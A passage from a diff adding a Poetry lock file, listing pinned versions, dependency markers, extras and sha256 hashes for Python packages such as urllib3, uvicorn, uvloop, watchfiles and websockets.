+torchhub = ["filelock", "huggingface-hub (>=0.14.1,<1.0)", "importlib-metadata", "numpy (>=1.17)", "packaging (>=20.0)", "protobuf (<=3.20.3)", "regex (!=2019.12.17)", "requests", "sentencepiece (>=0.1.91,!=0.1.92)", "tokenizers (>=0.11.1,!=0.11.3,<0.14)", "torch (>=1.9,!=1.12.0)", "tqdm (>=4.27)"]
+video = ["av (==9.2.0)", "decord (==0.6.0)"]
+vision = ["Pillow"]
+
+[[package]]
+name = "types-protobuf"
+version = "4.23.0.1"
+description = "Typing stubs for protobuf"
+optional = false
+python-versions = "*"
+files = [
+ {file = "types-protobuf-4.23.0.1.tar.gz", hash = "sha256:7bd5ea122a057b11a82b785d9de464932a1e9175fe977a4128adef11d7f35547"},
+ {file = "types_protobuf-4.23.0.1-py3-none-any.whl", hash = "sha256:c926104f69ea62103846681b35b690d8d100ecf86c6cdda16c850a1313a272e4"},
+]
+
+[[package]]
+name = "typing-extensions"
+version = "4.7.1"
+description = "Backported and Experimental Type Hints for Python 3.7+"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "typing_extensions-4.7.1-py3-none-any.whl", hash = "sha256:440d5dd3af93b060174bf433bccd69b0babc3b15b1a8dca43789fd7f61514b36"},
+ {file = "typing_extensions-4.7.1.tar.gz", hash = "sha256:b75ddc264f0ba5615db7ba217daeb99701ad295353c45f9e95963337ceeeffb2"},
+]
+
+[[package]]
+name = "typing-inspect"
+version = "0.9.0"
+description = "Runtime inspection utilities for typing module."
+optional = false
+python-versions = "*"
+files = [
+ {file = "typing_inspect-0.9.0-py3-none-any.whl", hash = "sha256:9ee6fc59062311ef8547596ab6b955e1b8aa46242d854bfc78f4f6b0eff35f9f"},
+ {file = "typing_inspect-0.9.0.tar.gz", hash = "sha256:b23fc42ff6f6ef6954e4852c1fb512cdd18dbea03134f91f856a95ccc9461f78"},
+]
+
+[package.dependencies]
+mypy-extensions = ">=0.3.0"
+typing-extensions = ">=3.7.4"
+
+[[package]]
+name = "urllib3"
+version = "1.26.16"
+description = "HTTP library with thread-safe connection pooling, file post, and more."
+optional = false
+python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*, !=3.5.*"
+files = [
+ {file = "urllib3-1.26.16-py2.py3-none-any.whl", hash = "sha256:8d36afa7616d8ab714608411b4a3b13e58f463aee519024578e062e141dce20f"},
+ {file = "urllib3-1.26.16.tar.gz", hash = "sha256:8f135f6502756bde6b2a9b28989df5fbe87c9970cecaa69041edcce7f0589b14"},
+]
+
+[package.extras]
+brotli = ["brotli (>=1.0.9)", "brotlicffi (>=0.8.0)", "brotlipy (>=0.6.0)"]
+secure = ["certifi", "cryptography (>=1.3.4)", "idna (>=2.0.0)", "ipaddress", "pyOpenSSL (>=0.14)", "urllib3-secure-extra"]
+socks = ["PySocks (>=1.5.6,!=1.5.7,<2.0)"]
+
+[[package]]
+name = "uvicorn"
+version = "0.22.0"
+description = "The lightning-fast ASGI server."
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "uvicorn-0.22.0-py3-none-any.whl", hash = "sha256:e9434d3bbf05f310e762147f769c9f21235ee118ba2d2bf1155a7196448bd996"},
+ {file = "uvicorn-0.22.0.tar.gz", hash = "sha256:79277ae03db57ce7d9aa0567830bbb51d7a612f54d6e1e3e92da3ef24c2c8ed8"},
+]
+
+[package.dependencies]
+click = ">=7.0"
+colorama = {version = ">=0.4", optional = true, markers = "sys_platform == \"win32\" and extra == \"standard\""}
+h11 = ">=0.8"
+httptools = {version = ">=0.5.0", optional = true, markers = "extra == \"standard\""}
+python-dotenv = {version = ">=0.13", optional = true, markers = "extra == \"standard\""}
+pyyaml = {version = ">=5.1", optional = true, markers = "extra == \"standard\""}
+uvloop = {version = ">=0.14.0,<0.15.0 || >0.15.0,<0.15.1 || >0.15.1", optional = true, markers = "(sys_platform != \"win32\" and sys_platform != \"cygwin\") and platform_python_implementation != \"PyPy\" and extra == \"standard\""}
+watchfiles = {version = ">=0.13", optional = true, markers = "extra == \"standard\""}
+websockets = {version = ">=10.4", optional = true, markers = "extra == \"standard\""}
+
+[package.extras]
+standard = ["colorama (>=0.4)", "httptools (>=0.5.0)", "python-dotenv (>=0.13)", "pyyaml (>=5.1)", "uvloop (>=0.14.0,!=0.15.0,!=0.15.1)", "watchfiles (>=0.13)", "websockets (>=10.4)"]
+
+[[package]]
+name = "uvloop"
+version = "0.17.0"
+description = "Fast implementation of asyncio event loop on top of libuv"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "uvloop-0.17.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:ce9f61938d7155f79d3cb2ffa663147d4a76d16e08f65e2c66b77bd41b356718"},
+ {file = "uvloop-0.17.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:68532f4349fd3900b839f588972b3392ee56042e440dd5873dfbbcd2cc67617c"},
+ {file = "uvloop-0.17.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0949caf774b9fcefc7c5756bacbbbd3fc4c05a6b7eebc7c7ad6f825b23998d6d"},
+ {file = "uvloop-0.17.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ff3d00b70ce95adce264462c930fbaecb29718ba6563db354608f37e49e09024"},
+ {file = "uvloop-0.17.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:a5abddb3558d3f0a78949c750644a67be31e47936042d4f6c888dd6f3c95f4aa"},
+ {file = "uvloop-0.17.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:8efcadc5a0003d3a6e887ccc1fb44dec25594f117a94e3127954c05cf144d811"},
+ {file = "uvloop-0.17.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:3378eb62c63bf336ae2070599e49089005771cc651c8769aaad72d1bd9385a7c"},
+ {file = "uvloop-0.17.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:6aafa5a78b9e62493539456f8b646f85abc7093dd997f4976bb105537cf2635e"},
+ {file = "uvloop-0.17.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c686a47d57ca910a2572fddfe9912819880b8765e2f01dc0dd12a9bf8573e539"},
+ {file = "uvloop-0.17.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:864e1197139d651a76c81757db5eb199db8866e13acb0dfe96e6fc5d1cf45fc4"},
+ {file = "uvloop-0.17.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:2a6149e1defac0faf505406259561bc14b034cdf1d4711a3ddcdfbaa8d825a05"},
+ {file = "uvloop-0.17.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:6708f30db9117f115eadc4f125c2a10c1a50d711461699a0cbfaa45b9a78e376"},
+ {file = "uvloop-0.17.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:23609ca361a7fc587031429fa25ad2ed7242941adec948f9d10c045bfecab06b"},
+ {file = "uvloop-0.17.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2deae0b0fb00a6af41fe60a675cec079615b01d68beb4cc7b722424406b126a8"},
+ {file = "uvloop-0.17.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:45cea33b208971e87a31c17622e4b440cac231766ec11e5d22c76fab3bf9df62"},
+ {file = "uvloop-0.17.0-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:9b09e0f0ac29eee0451d71798878eae5a4e6a91aa275e114037b27f7db72702d"},
+ {file = "uvloop-0.17.0-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:dbbaf9da2ee98ee2531e0c780455f2841e4675ff580ecf93fe5c48fe733b5667"},
+ {file = "uvloop-0.17.0-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:a4aee22ece20958888eedbad20e4dbb03c37533e010fb824161b4f05e641f738"},
+ {file = "uvloop-0.17.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:307958f9fc5c8bb01fad752d1345168c0abc5d62c1b72a4a8c6c06f042b45b20"},
+ {file = "uvloop-0.17.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3ebeeec6a6641d0adb2ea71dcfb76017602ee2bfd8213e3fcc18d8f699c5104f"},
+ {file = "uvloop-0.17.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1436c8673c1563422213ac6907789ecb2b070f5939b9cbff9ef7113f2b531595"},
+ {file = "uvloop-0.17.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:8887d675a64cfc59f4ecd34382e5b4f0ef4ae1da37ed665adba0c2badf0d6578"},
+ {file = "uvloop-0.17.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:3db8de10ed684995a7f34a001f15b374c230f7655ae840964d51496e2f8a8474"},
+ {file = "uvloop-0.17.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:7d37dccc7ae63e61f7b96ee2e19c40f153ba6ce730d8ba4d3b4e9738c1dccc1b"},
+ {file = "uvloop-0.17.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:cbbe908fda687e39afd6ea2a2f14c2c3e43f2ca88e3a11964b297822358d0e6c"},
+ {file = "uvloop-0.17.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3d97672dc709fa4447ab83276f344a165075fd9f366a97b712bdd3fee05efae8"},
+ {file = "uvloop-0.17.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f1e507c9ee39c61bfddd79714e4f85900656db1aec4d40c6de55648e85c2799c"},
+ {file = "uvloop-0.17.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:c092a2c1e736086d59ac8e41f9c98f26bbf9b9222a76f21af9dfe949b99b2eb9"},
+ {file = "uvloop-0.17.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:30babd84706115626ea78ea5dbc7dd8d0d01a2e9f9b306d24ca4ed5796c66ded"},
+ {file = "uvloop-0.17.0.tar.gz", hash = "sha256:0ddf6baf9cf11a1a22c71487f39f15b2cf78eb5bde7e5b45fbb99e8a9d91b9e1"},
+]
+
+[package.extras]
+dev = ["Cython (>=0.29.32,<0.30.0)", "Sphinx (>=4.1.2,<4.2.0)", "aiohttp", "flake8 (>=3.9.2,<3.10.0)", "mypy (>=0.800)", "psutil", "pyOpenSSL (>=22.0.0,<22.1.0)", "pycodestyle (>=2.7.0,<2.8.0)", "pytest (>=3.6.0)", "sphinx-rtd-theme (>=0.5.2,<0.6.0)", "sphinxcontrib-asyncio (>=0.3.0,<0.4.0)"]
+docs = ["Sphinx (>=4.1.2,<4.2.0)", "sphinx-rtd-theme (>=0.5.2,<0.6.0)", "sphinxcontrib-asyncio (>=0.3.0,<0.4.0)"]
+test = ["Cython (>=0.29.32,<0.30.0)", "aiohttp", "flake8 (>=3.9.2,<3.10.0)", "mypy (>=0.800)", "psutil", "pyOpenSSL (>=22.0.0,<22.1.0)", "pycodestyle (>=2.7.0,<2.8.0)"]
+
+[[package]]
+name = "watchfiles"
+version = "0.19.0"
+description = "Simple, modern and high performance file watching and code reload in python."
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "watchfiles-0.19.0-cp37-abi3-macosx_10_7_x86_64.whl", hash = "sha256:91633e64712df3051ca454ca7d1b976baf842d7a3640b87622b323c55f3345e7"},
+ {file = "watchfiles-0.19.0-cp37-abi3-macosx_11_0_arm64.whl", hash = "sha256:b6577b8c6c8701ba8642ea9335a129836347894b666dd1ec2226830e263909d3"},
+ {file = "watchfiles-0.19.0-cp37-abi3-manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:18b28f6ad871b82df9542ff958d0c86bb0d8310bb09eb8e87d97318a3b5273af"},
+ {file = "watchfiles-0.19.0-cp37-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:fac19dc9cbc34052394dbe81e149411a62e71999c0a19e1e09ce537867f95ae0"},
+ {file = "watchfiles-0.19.0-cp37-abi3-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:09ea3397aecbc81c19ed7f025e051a7387feefdb789cf768ff994c1228182fda"},
+ {file = "watchfiles-0.19.0-cp37-abi3-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c0376deac92377817e4fb8f347bf559b7d44ff556d9bc6f6208dd3f79f104aaf"},
+ {file = "watchfiles-0.19.0-cp37-abi3-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9c75eff897786ee262c9f17a48886f4e98e6cfd335e011c591c305e5d083c056"},
+ {file = "watchfiles-0.19.0-cp37-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cb5d45c4143c1dd60f98a16187fd123eda7248f84ef22244818c18d531a249d1"},
+ {file = "watchfiles-0.19.0-cp37-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:79c533ff593db861ae23436541f481ec896ee3da4e5db8962429b441bbaae16e"},
+ {file = "watchfiles-0.19.0-cp37-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:3d7d267d27aceeeaa3de0dd161a0d64f0a282264d592e335fff7958cc0cbae7c"},
+ {file = "watchfiles-0.19.0-cp37-abi3-win32.whl", hash = "sha256:176a9a7641ec2c97b24455135d58012a5be5c6217fc4d5fef0b2b9f75dbf5154"},
+ {file = "watchfiles-0.19.0-cp37-abi3-win_amd64.whl", hash = "sha256:945be0baa3e2440151eb3718fd8846751e8b51d8de7b884c90b17d271d34cae8"},
+ {file = "watchfiles-0.19.0-cp37-abi3-win_arm64.whl", hash = "sha256:0089c6dc24d436b373c3c57657bf4f9a453b13767150d17284fc6162b2791911"},
+ {file = "watchfiles-0.19.0-pp38-pypy38_pp73-macosx_10_7_x86_64.whl", hash = "sha256:cae3dde0b4b2078f31527acff6f486e23abed307ba4d3932466ba7cdd5ecec79"},
+ {file = "watchfiles-0.19.0-pp38-pypy38_pp73-macosx_11_0_arm64.whl", hash = "sha256:7f3920b1285a7d3ce898e303d84791b7bf40d57b7695ad549dc04e6a44c9f120"},
+ {file = "watchfiles-0.19.0-pp38-pypy38_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9afd0d69429172c796164fd7fe8e821ade9be983f51c659a38da3faaaaac44dc"},
+ {file = "watchfiles-0.19.0-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:68dce92b29575dda0f8d30c11742a8e2b9b8ec768ae414b54f7453f27bdf9545"},
+ {file = "watchfiles-0.19.0-pp39-pypy39_pp73-macosx_10_7_x86_64.whl", hash = "sha256:5569fc7f967429d4bc87e355cdfdcee6aabe4b620801e2cf5805ea245c06097c"},
+ {file = "watchfiles-0.19.0-pp39-pypy39_pp73-macosx_11_0_arm64.whl", hash = "sha256:5471582658ea56fca122c0f0d0116a36807c63fefd6fdc92c71ca9a4491b6b48"},
+ {file = "watchfiles-0.19.0-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b538014a87f94d92f98f34d3e6d2635478e6be6423a9ea53e4dd96210065e193"},
+ {file = "watchfiles-0.19.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:20b44221764955b1e703f012c74015306fb7e79a00c15370785f309b1ed9aa8d"},
+ {file = "watchfiles-0.19.0.tar.gz", hash = "sha256:d9b073073e048081e502b6c6b0b88714c026a1a4c890569238d04aca5f9ca74b"},
+]
+
+[package.dependencies]
+anyio = ">=3.0.0"
+
+[[package]]
+name = "websockets"
+version = "11.0.3"
+description = "An implementation of the WebSocket Protocol (RFC 6455 & 7692)"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "websockets-11.0.3-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:3ccc8a0c387629aec40f2fc9fdcb4b9d5431954f934da3eaf16cdc94f67dbfac"},
+ {file = "websockets-11.0.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:d67ac60a307f760c6e65dad586f556dde58e683fab03323221a4e530ead6f74d"},
+ {file = "websockets-11.0.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:84d27a4832cc1a0ee07cdcf2b0629a8a72db73f4cf6de6f0904f6661227f256f"},
+ {file = "websockets-11.0.3-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ffd7dcaf744f25f82190856bc26ed81721508fc5cbf2a330751e135ff1283564"},
+ {file = "websockets-11.0.3-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7622a89d696fc87af8e8d280d9b421db5133ef5b29d3f7a1ce9f1a7bf7fcfa11"},
+ {file = "websockets-11.0.3-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bceab846bac555aff6427d060f2fcfff71042dba6f5fca7dc4f75cac815e57ca"},
+ {file = "websockets-11.0.3-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:54c6e5b3d3a8936a4ab6870d46bdd6ec500ad62bde9e44462c32d18f1e9a8e54"},
+ {file = "websockets-11.0.3-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:41f696ba95cd92dc047e46b41b26dd24518384749ed0d99bea0a941ca87404c4"},
+ {file = "websockets-11.0.3-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:86d2a77fd490ae3ff6fae1c6ceaecad063d3cc2320b44377efdde79880e11526"},
+ {file = "websockets-11.0.3-cp310-cp310-win32.whl", hash = "sha256:2d903ad4419f5b472de90cd2d40384573b25da71e33519a67797de17ef849b69"},
+ {file = "websockets-11.0.3-cp310-cp310-win_amd64.whl", hash = "sha256:1d2256283fa4b7f4c7d7d3e84dc2ece74d341bce57d5b9bf385df109c2a1a82f"},
+ {file = "websockets-11.0.3-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:e848f46a58b9fcf3d06061d17be388caf70ea5b8cc3466251963c8345e13f7eb"},
+ {file = "websockets-11.0.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:aa5003845cdd21ac0dc6c9bf661c5beddd01116f6eb9eb3c8e272353d45b3288"},
+ {file = "websockets-11.0.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:b58cbf0697721120866820b89f93659abc31c1e876bf20d0b3d03cef14faf84d"},
+ {file = "websockets-11.0.3-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:660e2d9068d2bedc0912af508f30bbeb505bbbf9774d98def45f68278cea20d3"},
+ {file = "websockets-11.0.3-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c1f0524f203e3bd35149f12157438f406eff2e4fb30f71221c8a5eceb3617b6b"},
+ {file = "websockets-11.0.3-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:def07915168ac8f7853812cc593c71185a16216e9e4fa886358a17ed0fd9fcf6"},
+ {file = "websockets-11.0.3-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:b30c6590146e53149f04e85a6e4fcae068df4289e31e4aee1fdf56a0dead8f97"},
+ {file = "websockets-11.0.3-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:619d9f06372b3a42bc29d0cd0354c9bb9fb39c2cbc1a9c5025b4538738dbffaf"},
+ {file = "websockets-11.0.3-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:01f5567d9cf6f502d655151645d4e8b72b453413d3819d2b6f1185abc23e82dd"},
+ {file = "websockets-11.0.3-cp311-cp311-win32.whl", hash = "sha256:e1459677e5d12be8bbc7584c35b992eea142911a6236a3278b9b5ce3326f282c"},
+ {file = "websockets-11.0.3-cp311-cp311-win_amd64.whl", hash = "sha256:e7837cb169eca3b3ae94cc5787c4fed99eef74c0ab9506756eea335e0d6f3ed8"},
+ {file = "websockets-11.0.3-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:9f59a3c656fef341a99e3d63189852be7084c0e54b75734cde571182c087b152"},
+ {file = "websockets-11.0.3-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2529338a6ff0eb0b50c7be33dc3d0e456381157a31eefc561771ee431134a97f"},
+ {file = "websockets-11.0.3-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:34fd59a4ac42dff6d4681d8843217137f6bc85ed29722f2f7222bd619d15e95b"},
+ {file = "websockets-11.0.3-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:332d126167ddddec94597c2365537baf9ff62dfcc9db4266f263d455f2f031cb"},
+ {file = "websockets-11.0.3-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:6505c1b31274723ccaf5f515c1824a4ad2f0d191cec942666b3d0f3aa4cb4007"},
+ {file = "websockets-11.0.3-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:f467ba0050b7de85016b43f5a22b46383ef004c4f672148a8abf32bc999a87f0"},
+ {file = "websockets-11.0.3-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:9d9acd80072abcc98bd2c86c3c9cd4ac2347b5a5a0cae7ed5c0ee5675f86d9af"},
+ {file = "websockets-11.0.3-cp37-cp37m-win32.whl", hash = "sha256:e590228200fcfc7e9109509e4d9125eace2042fd52b595dd22bbc34bb282307f"},
+ {file = "websockets-11.0.3-cp37-cp37m-win_amd64.whl", hash = "sha256:b16fff62b45eccb9c7abb18e60e7e446998093cdcb50fed33134b9b6878836de"},
+ {file = "websockets-11.0.3-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:fb06eea71a00a7af0ae6aefbb932fb8a7df3cb390cc217d51a9ad7343de1b8d0"},
+ {file = "websockets-11.0.3-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:8a34e13a62a59c871064dfd8ffb150867e54291e46d4a7cf11d02c94a5275bae"},
+ {file = "websockets-11.0.3-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:4841ed00f1026dfbced6fca7d963c4e7043aa832648671b5138008dc5a8f6d99"},
+ {file = "websockets-11.0.3-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1a073fc9ab1c8aff37c99f11f1641e16da517770e31a37265d2755282a5d28aa"},
+ {file = "websockets-11.0.3-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:68b977f21ce443d6d378dbd5ca38621755f2063d6fdb3335bda981d552cfff86"},
+ {file = "websockets-11.0.3-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e1a99a7a71631f0efe727c10edfba09ea6bee4166a6f9c19aafb6c0b5917d09c"},
+ {file = "websockets-11.0.3-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:bee9fcb41db2a23bed96c6b6ead6489702c12334ea20a297aa095ce6d31370d0"},
+ {file = "websockets-11.0.3-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:4b253869ea05a5a073ebfdcb5cb3b0266a57c3764cf6fe114e4cd90f4bfa5f5e"},
+ {file = "websockets-11.0.3-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:1553cb82942b2a74dd9b15a018dce645d4e68674de2ca31ff13ebc2d9f283788"},
+ {file = "websockets-11.0.3-cp38-cp38-win32.whl", hash = "sha256:f61bdb1df43dc9c131791fbc2355535f9024b9a04398d3bd0684fc16ab07df74"},
+ {file = "websockets-11.0.3-cp38-cp38-win_amd64.whl", hash = "sha256:03aae4edc0b1c68498f41a6772d80ac7c1e33c06c6ffa2ac1c27a07653e79d6f"},
+ {file = "websockets-11.0.3-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:777354ee16f02f643a4c7f2b3eff8027a33c9861edc691a2003531f5da4f6bc8"},
+ {file = "websockets-11.0.3-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:8c82f11964f010053e13daafdc7154ce7385ecc538989a354ccc7067fd7028fd"},
+ {file = "websockets-11.0.3-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:3580dd9c1ad0701169e4d6fc41e878ffe05e6bdcaf3c412f9d559389d0c9e016"},
+ {file = "websockets-11.0.3-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6f1a3f10f836fab6ca6efa97bb952300b20ae56b409414ca85bff2ad241d2a61"},
+ {file = "websockets-11.0.3-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:df41b9bc27c2c25b486bae7cf42fccdc52ff181c8c387bfd026624a491c2671b"},
+ {file = "websockets-11.0.3-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:279e5de4671e79a9ac877427f4ac4ce93751b8823f276b681d04b2156713b9dd"},
+ {file = "websockets-11.0.3-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:1fdf26fa8a6a592f8f9235285b8affa72748dc12e964a5518c6c5e8f916716f7"},
+ {file = "websockets-11.0.3-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:69269f3a0b472e91125b503d3c0b3566bda26da0a3261c49f0027eb6075086d1"},
+ {file = "websockets-11.0.3-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:97b52894d948d2f6ea480171a27122d77af14ced35f62e5c892ca2fae9344311"},
+ {file = "websockets-11.0.3-cp39-cp39-win32.whl", hash = "sha256:c7f3cb904cce8e1be667c7e6fef4516b98d1a6a0635a58a57528d577ac18a128"},
+ {file = "websockets-11.0.3-cp39-cp39-win_amd64.whl", hash = "sha256:c792ea4eabc0159535608fc5658a74d1a81020eb35195dd63214dcf07556f67e"},
+ {file = "websockets-11.0.3-pp37-pypy37_pp73-macosx_10_9_x86_64.whl", hash = "sha256:f2e58f2c36cc52d41f2659e4c0cbf7353e28c8c9e63e30d8c6d3494dc9fdedcf"},
+ {file = "websockets-11.0.3-pp37-pypy37_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:de36fe9c02995c7e6ae6efe2e205816f5f00c22fd1fbf343d4d18c3d5ceac2f5"},
+ {file = "websockets-11.0.3-pp37-pypy37_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0ac56b661e60edd453585f4bd68eb6a29ae25b5184fd5ba51e97652580458998"},
+ {file = "websockets-11.0.3-pp37-pypy37_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e052b8467dd07d4943936009f46ae5ce7b908ddcac3fda581656b1b19c083d9b"},
+ {file = "websockets-11.0.3-pp37-pypy37_pp73-win_amd64.whl", hash = "sha256:42cc5452a54a8e46a032521d7365da775823e21bfba2895fb7b77633cce031bb"},
+ {file = "websockets-11.0.3-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:e6316827e3e79b7b8e7d8e3b08f4e331af91a48e794d5d8b099928b6f0b85f20"},
+ {file = "websockets-11.0.3-pp38-pypy38_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8531fdcad636d82c517b26a448dcfe62f720e1922b33c81ce695d0edb91eb931"},
+ {file = "websockets-11.0.3-pp38-pypy38_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c114e8da9b475739dde229fd3bc6b05a6537a88a578358bc8eb29b4030fac9c9"},
+ {file = "websockets-11.0.3-pp38-pypy38_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e063b1865974611313a3849d43f2c3f5368093691349cf3c7c8f8f75ad7cb280"},
+ {file = "websockets-11.0.3-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:92b2065d642bf8c0a82d59e59053dd2fdde64d4ed44efe4870fa816c1232647b"},
+ {file = "websockets-11.0.3-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:0ee68fe502f9031f19d495dae2c268830df2760c0524cbac5d759921ba8c8e82"},
+ {file = "websockets-11.0.3-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:dcacf2c7a6c3a84e720d1bb2b543c675bf6c40e460300b628bab1b1efc7c034c"},
+ {file = "websockets-11.0.3-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:b67c6f5e5a401fc56394f191f00f9b3811fe843ee93f4a70df3c389d1adf857d"},
+ {file = "websockets-11.0.3-pp39-pypy39_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1d5023a4b6a5b183dc838808087033ec5df77580485fc533e7dab2567851b0a4"},
